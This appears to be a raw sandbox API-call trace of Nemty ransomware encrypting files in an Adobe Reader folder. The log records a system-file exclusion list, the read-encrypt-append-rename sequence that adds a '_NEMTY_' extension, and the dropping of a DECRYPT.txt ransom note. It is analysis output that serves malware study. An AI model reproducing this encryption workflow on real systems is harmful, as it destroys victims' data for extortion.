WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6200, lpOverlapped=0x0) returned 1 [0175.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.394] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200 [0175.394] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.394] CloseHandle (hObject=0x2e8) returned 1 [0175.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0175.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.394] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\search.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\search.deu._nemty_kgobjgd_")) returned 1 [0175.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0175.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.395] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.deu", cAlternateFileName="")) returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2=".") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="..") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="...") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="windows") returned -1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="$RECYCLE.BIN") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="rsa") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="NTDETECT.COM") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="ntldr") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="MSDOS.SYS") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="IO.SYS") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="boot.ini") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="boot.ini") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="AUTOEXEC.BAT") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="ntuser.dat") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="desktop.ini") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="CONFIG.SYS") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="RECYCLER") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="BOOTSECT.BAK") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="bootmgr") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="programdata") returned 1 [0175.395] lstrcmpiW (lpString1="SendMail.deu", lpString2="appdata") returned 1 [0175.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.deu", lpUsedDefaultChar=0x0) returned 12 [0175.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.deu", lpUsedDefaultChar=0x0) returned 12 [0175.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.deu", lpUsedDefaultChar=0x0) returned 12 [0175.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.deu", lpUsedDefaultChar=0x0) returned 12 [0175.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.396] Sleep (dwMilliseconds=0x5) [0175.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c322930, dwHighDateTime=0x1d561e8)) [0175.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c322930, dwHighDateTime=0x1d561e8)) [0175.406] GetLastError () returned 0x0 [0175.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.406] GetLastError () returned 0x0 [0175.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.406] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.406] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.406] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="p9pSPRMrwu10wlNuIqxa0prqr5+dh5/Xe4+N7/xwU+hBktZcu9Lz7lx+XcJiczau\r\nhCqa8ZPTrPhRu2QySAznZvzF7H+HPy9okWK+mls85qcbkAWLiD6nh05n3C+DMIVo\r\nWMLp8h+ACdWINXawnAIIJ+2yyNW7EQwU2Fqz0/+2m1oJJl9YqMQdZkK+fjbXx39X\r\njfD9GMWVhsHkxbBUDMvXEeQFYrMZCvBZX6SsFrL6pElCmRZ3FQf5Fj92x39KGz6j\r\no6yjHoi7uaqZaYcFUthB5gZCj5jW1Tei1REwKO3vXVqhxD9mfswMTnjosWHQZuF4\r\nMExJ0LGCQNPLDpvIqi8zxg==\r\n", pcchString=0x653e5dc) returned 1 [0175.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\sendmail.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.407] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16384) returned 1 [0175.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4000) returned 0x6352c48 [0175.407] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.407] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4000, lpOverlapped=0x0) returned 1 [0175.409] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.409] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4000, lpOverlapped=0x0) returned 1 [0175.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.410] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4000 [0175.410] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.410] CloseHandle (hObject=0x2e8) returned 1 [0175.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.410] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\sendmail.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\sendmail.deu._nemty_kgobjgd_")) returned 1 [0175.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.411] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0175.411] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0175.412] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0175.412] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0175.412] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0175.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0175.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0175.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0175.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0175.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0175.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.415] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.415] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0175.416] CloseHandle (hObject=0x2e8) returned 1 [0175.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0175.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0175.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0175.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.417] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.417] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.417] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0175.420] CloseHandle (hObject=0x2e8) returned 1 [0175.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0175.420] HeapFree (in: hHeap=0x4f90000, 